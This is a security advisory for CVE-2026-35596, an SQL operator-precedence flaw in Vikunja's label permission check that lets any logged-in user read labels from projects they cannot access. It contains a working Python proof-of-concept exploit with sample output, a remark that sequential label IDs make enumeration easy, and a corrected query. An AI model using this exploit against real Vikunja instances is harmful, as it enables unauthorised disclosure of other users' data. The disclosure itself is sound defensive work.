CVE-2026-35596

## Summary The `hasAccessToLabel` function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. ## Details The access control query at `pkg/models/label_permissions.go:85-91` uses xorm's query chain in a way that produces SQL without proper grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll) ``` The xorm chain `.Where(A OR B).Or(C).And(D)` generates SQL: `WHERE A OR B OR C AND D`. Because SQL AND has higher precedence than OR, this evaluates as `WHERE A OR B OR (C AND D)`. The `labels.id = ?` constraint (D) only binds to the project access condition (C), while `label_tasks.label_id IS NOT NULL` (part of A) remains unconstrained. Any label that has at least one task association passes the `IS NOT NULL` check, regardless of who is requesting it. ## Proof of Concept Tested on Vikunja v2.2.2. ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} a_token = login("labeler", "Labeler123!") b_token = login("snooper", "Snooper123!") # labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(a_token), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(a_token), json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token), json={"label_id": label["id"]}) # snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token)) print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403 if r.status_code == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['created_by']['username']}") # labeler ``` Output: ``` GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler ``` Label IDs are sequential integers, making enumeration straightforward. ## Impact Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed. ## Recommended Fix Use explicit `builder.And`/`builder.Or` grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("label_tasks.label_id is not null"), cond), builder.Eq{"labels.created_by_id": createdByID}, ), )). Exist(ll) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.